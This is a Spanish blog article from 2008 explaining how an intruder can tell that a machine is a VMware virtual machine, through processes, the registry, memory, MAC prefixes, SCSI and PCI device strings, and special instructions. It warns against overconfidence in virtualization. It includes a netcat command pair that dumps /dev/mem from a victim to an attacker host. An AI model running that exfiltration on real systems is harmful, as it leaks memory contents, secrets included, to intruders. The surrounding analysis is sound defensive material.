19 marzo 2008

Detección de máquinas virtuales

La virtualización se ha extendido con fuerza a lo largo de los últimos años en los diseños de sistemas de las organizaciones, lo que no resulta extraño dada la economía de costes que ofrece, su facilidad de escalado y su tolerancia a errores. Tal es así que en la actualidad comienzan a oírse voces que abogan por basar los backoffice exclusivamente en soluciones de virtualización como las ofrecidas por VMware, Xen, VirtualBox o HiperV, entre otros. Sin embargo, dichas propuestas suelen ser fruto más del entusiasmo basado en las promesas del marketing que en el frío análisis técnico.

Probablemente el punto medio sea el más interesante y seguro, es decir, seguir utilizando máquinas físicas para los servicios críticos y contar con un soporte de virtualización que entre en juego en caso de caída de una de las máquinas físicas o como apoyo temporal en caso de saturación de carga de una de las granjas físicas. Otro campo muy interesante de las máquinas virtuales es el maquetizado durante las tareas de desarrollo o la creación de máquinas trampa o honeypots. En todo caso, y en mi humilde opinión, combinar en un mismo soporte de virtualización máquinas pertenecientes a distintos niveles de seguridad es completamente desaconsejable dadas las vulnerabilidades que comienzan a descubrirse y que ponen en duda el presunto aislamiento entre la máquina anfitrión y sus máquinas virtuales. En caso de que ese aislamiento se viese comprometido, un intruso podría intentar saltar de un nivel a otro evitando las defensas perimétricas o bien podría comprometer las máquinas alojadas en la misma plataforma de virtualización.

Ante estas vulnerabilidades es normal que comiencen a surgir técnicas para descubrir si una máquina es o no parte de una infraestructura de virtualización. Un intruso que descubra que se encuentra en una máquina virtual puede considerar mucho más provechoso atacar a la máquina anfitrión que usar a la máquina virtual como puente hacia el resto de la red. Estas técnicas analizan la máquina objetivo con el fin de detectar los indicios propios de una máquina virtual. Dichos indicios pueden ser de distintos tipos:
  • Particularidades en los procesos, sistemas de ficheros y/o el registro.
  • Particularidades en la memoria.
  • Hardware virtual.
  • Instrucciones de bajo nivel propias de las máquinas virtuales.
A lo largo de este artículo estudiaremos cada una de estas posibles pistas tomando como ejemplo el de una máquina virtual basada en VMware, por ser la plataforma más extendidas y, en cierta medida, paradigmática.

En el caso de VMware, el proceso más fácilmente detectable son las VMtools. Las VMtools constituyen un pack de herramientas propias de VMware que, de ser instaladas en una máquina virtual, permiten incrementar el rendimiento gráfico, así como establecer un canal de comunicación entre la máquina anfitriona y la virtual de manera que se puedan usar carpetas compartidas o drag-and-drop de ficheros. El problema es que todas estas funcionalidades tienen un precio y es que suponen un riesgo para la seguridad del sistema al abrir una brecha atacable en el aislamiento entre la máquina anfitriona y la virtual. El caso es que el uso de las VMtools activa un servicio que es fácilmente detectable dentro de la tabla de procesos de la máquina virtual. Además de lo anterior, un análisis exhaustivo del sistema de ficheros de una máquina virtual arrojaría más de 50 referencias a las palabras "vmware" y "vmx". Lo mismo se puede decir del Registro (en el caso de un Windows) que se vería "marcado" con más de 300 referencias en su registro a la palabra VMware. Por todo lo anterior, las VMtools deberían ser evitadas en lo posible, utilizándolas sólo tras un análisis de riesgos adecuado.

El segundo caso, el de la huella en la memoria, es prácticamente imposible de evitar. Si la máquina virtual fuera Linux, un atacante podría hacer un volcado de la memoria primaria con el fin de analizarla posteriormente en busca de la palabra "vmware". Para ello no tendría que hacer más que lo siguiente:
  1. atacante$ nc -l -p 2000 -o memory_dump_genesys
  2. victima$ sudo dd if=/dev/mem bs=100k | nc ip-atacante 2000

Tras la descarga, el análisis del volcado podría ser tan sencillo como lo siguiente:
atacante$ grep -ic vmware memory_dump_genesys 360 atacante$ grep -i vmware memory_dump_genesys<>
El problema que supone este enfoque para un atacante es su lentitud al tener que transmitir la imagen de la memoria (varios GB) a través de la red y la carga sobre la máquina atacada, que podría alertar a los administradores de la intrusión.
Otra opción es utilizar herramientas especializadas, como Scoopy o RedPill, capaces de detectar patrones de distribución de memoria propios de máquinas virtualizadas.

En cuanto al hardware virtual, el caso más sencillo de detectar es el de la tarjeta de red ya que suele ser habitual que los primeros 6 carácteres de la MAC señalen al fabricante de la tarjeta. En Internet hay multitud de buscadores que permiten identificar el fabricante de una tarjeta ethernet en función de su MAC. En el caso de VMware, sus interfaces ethernet virtuales se marcan con una MAC que es del tipo: 00:0C:29:xx:xx:xx.
Otro caso es el de los discos duros, ya que VMware permite la virtualización de discos duros SCSI. Una simple búsqueda en los logs de arranque ya avisa de que estamos ante una máquina virtual:

dante@dante-desktop:~$ cat /var/log/messages | grep scsi Mar 19 21:17:57 dante-desktop kernel: [83993.729650] scsi0 : ata_piix Mar 19 21:17:57 dante-desktop kernel: [83993.729955] scsi1 : ata_piix Mar 19 21:17:57 dante-desktop kernel: [83994.585470] scsi 1:0:0:0: CD-ROM PIONEER DVD-RW DVR-111D 1.23 PQ: 0 ANSI: 5 Mar 19 21:17:57 dante-desktop kernel: [83994.585847] scsi 1:0:1:0: CD-ROM NECVMWar VMware IDE CDR11 1.00 PQ: 0 ANSI: 5 Mar 19 21:17:57 dante-desktop kernel: [83994.631853] sr0: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray Mar 19 21:17:57 dante-desktop kernel: [83994.634815] sr1: scsi3-mmc drive: 1x/1x xa/form2 cdda tray Mar 19 21:17:57 dante-desktop kernel: [83994.648546] sr 1:0:0:0: Attached scsi generic sg0 type 5 Mar 19 21:17:57 dante-desktop kernel: [83994.648772] sr 1:0:1:0: Attached scsi generic sg1 type 5 Mar 19 21:17:57 dante-desktop kernel: [83994.931779] scsi2 : ioc0: LSI53C1030, FwRev=01032920h, Ports=1, MaxQ=128, IRQ=17 Mar 19 21:17:57 dante-desktop kernel: [83995.050997] scsi 2:0:0:0: Direct-Access VMware, VMware Virtual S 1.0 PQ: 0 ANSI: 2 Mar 19 21:17:57 dante-desktop kernel: [83995.063046] scsi 2:0:0:0: Attached scsi generic sg2 type 0 Mar 22 20:11:50 dante-desktop kernel: [88289.831746] scsi0 : ata_piix Mar 22 20:11:50 dante-desktop kernel: [88289.835558] scsi1 : ata_piix Mar 22 20:11:50 dante-desktop kernel: [88291.093663] scsi 1:0:0:0: CD-ROM PIONEER DVD-RW DVR-111D 1.23 PQ: 0 ANSI: 5 Mar 22 20:11:50 dante-desktop kernel: [88291.101227] scsi 1:0:1:0: CD-ROM NECVMWar VMware IDE CDR11 1.00 PQ: 0 ANSI: 5 Mar 22 20:11:50 dante-desktop kernel: [88291.380171] scsi2 : ioc0: LSI53C1030, FwRev=01032920h, Ports=1, MaxQ=128, IRQ=16 Mar 22 20:11:50 dante-desktop kernel: [88291.504844] scsi 2:0:0:0: Direct-Access VMware, VMware Virtual S 1.0 PQ: 0 ANSI: 2 Mar 22 20:11:50 dante-desktop kernel: [88296.060604] sr0: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray Mar 22 20:11:50 dante-desktop kernel: [88296.076810] sr1: scsi3-mmc drive: 1x/1x xa/form2 cdda tray Mar 22 20:11:50 dante-desktop kernel: [88296.159975] sr 1:0:0:0: Attached scsi generic sg0 type 5 Mar 22 20:11:50 dante-desktop kernel: [88296.160101] sr 1:0:1:0: Attached scsi generic sg1 type 5 Mar 22 20:11:50 dante-desktop kernel: [88296.160215] scsi 2:0:0:0: Attached scsi generic sg2 type 0
Por si esto no fuera suficientemente claro, una simple llamada al comando sdparm confirmaría este punto:

dante@dante-desktop:~$ sudo sdparm -a /dev/sda1 /dev/sda1: VMware, VMware Virtual S 1.0
En fin, con esto queda demostrado que la virtualización efectuada por VMware no es nada "anónima". Pero aún queda la traca final en lo que a identificación de hardware virtual se refiere, porque puestos a identificar los controladores del hardware el resultado resulta bastante clarificador:

dante@dante-desktop:~$ lspci -v 00:00.0 Host bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 01) Subsystem: VMware Inc virtualHW v3 Flags: bus master, medium devsel, latency 0 00:01.0 PCI bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 01) (prog-if 00 [Normal decode]) Flags: bus master, 66MHz, medium devsel, latency 0 Bus: primary=00, secondary=01, subordinate=01, sec-latency=64 00:07.0 ISA bridge: Intel Corporation 82371AB/EB/MB PIIX4 ISA (rev 08) Subsystem: VMware Inc virtualHW v3 Flags: bus master, medium devsel, latency 0 00:07.1 IDE interface: Intel Corporation 82371AB/EB/MB PIIX4 IDE (rev 01) (prog-if 8a [Master SecP PriP]) Subsystem: VMware Inc virtualHW v3 Flags: bus master, medium devsel, latency 64 [virtual] Memory at 000001f0 (32-bit, non-prefetchable) [disabled] [size=8] [virtual] Memory at 000003f0 (type 3, non-prefetchable) [disabled] [size=1] [virtual] Memory at 00000170 (32-bit, non-prefetchable) [disabled] [size=8] [virtual] Memory at 00000370 (type 3, non-prefetchable) [disabled] [size=1] I/O ports at 1050 [size=16] 00:07.2 USB Controller: Intel Corporation 82371AB/EB/MB PIIX4 USB (prog-if 00 [UHCI]) Subsystem: VMware Inc virtualHW v3 Flags: bus master, medium devsel, latency 64, IRQ 18 I/O ports at 1060 [size=32] 00:07.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 08) Subsystem: VMware Inc virtualHW v3 Flags: medium devsel, IRQ 9 00:0f.0 VGA compatible controller: VMware Inc [VMware SVGA II] PCI Display Adapter (prog-if 00 [VGA]) Subsystem: VMware Inc [VMware SVGA II] PCI Display Adapter Flags: bus master, medium devsel, latency 64 I/O ports at 1440 [size=16] Memory at f0000000 (32-bit, non-prefetchable) [size=128M] Memory at e8000000 (32-bit, non-prefetchable) [size=8M] [virtual] Expansion ROM at 20010000 [disabled] [size=32K] 00:10.0 SCSI storage controller: LSI Logic / Symbios Logic 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 01) Flags: bus master, medium devsel, latency 64, IRQ 16 I/O ports at 1080 [size=128] Memory at e8810000 (32-bit, non-prefetchable) [size=4K] [virtual] Expansion ROM at 20018000 [disabled] [size=16K] 00:11.0 Ethernet controller: Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) (rev 01) Subsystem: VMware Inc Unknown device 0750 Flags: bus master, 66MHz, medium devsel, latency 0, IRQ 17 Memory at e8820000 (64-bit, non-prefetchable) [size=128K] Memory at e8800000 (64-bit, non-prefetchable) [size=64K] I/O ports at 1450 [size=8] [virtual] Expansion ROM at 20000000 [disabled] [size=64K] Capabilities: 00:12.0 Multimedia audio controller: Ensoniq ES1371 [AudioPCI-97] (rev 02) Subsystem: Ensoniq Creative Sound Blaster AudioPCI64V, AudioPCI128 Flags: bus master, ?? devsel, latency 64, IRQ 18 I/O ports at 1400 [size=64]
El creador de Scoopy, Tobias Klein, también desarrolló una herramienta, llamada Doo, capaz de detectar máquinas virtuales basándose en análisis del hardware similares a los anteriores.

Por último, queda mencionar las instrucciones de bajo nivel propias de máquinas virtuales. Las soluciones de virtualización introducen estas instrucciones con el fin de facilitar la comunicación entre la máquina virtual y la anfitriona. Herramientas como VMDetect utilizan estas instrucciones para detectar cuando una máquina está en realidad virtualizada, para ello lo que hacen es llamar a esas instrucciones, si surge una excepción estamos ante una máquina física, si por el contrario la instrucción se ejecuta entonces estaremos ante una máquina virtual.

Todos estos vectores de detección deberían alertar contra la presunta infalibilidad de la virtualización que se intenta vender a través de los canales comerciales. Es cierto que la virtualización puede suponer importantes ventajas para las organizaciones pero sólo si se despliega correctamente y con prudencia, hacerlo de otro modo puede conducir, como pasa con todas las obras humanas, al desastre.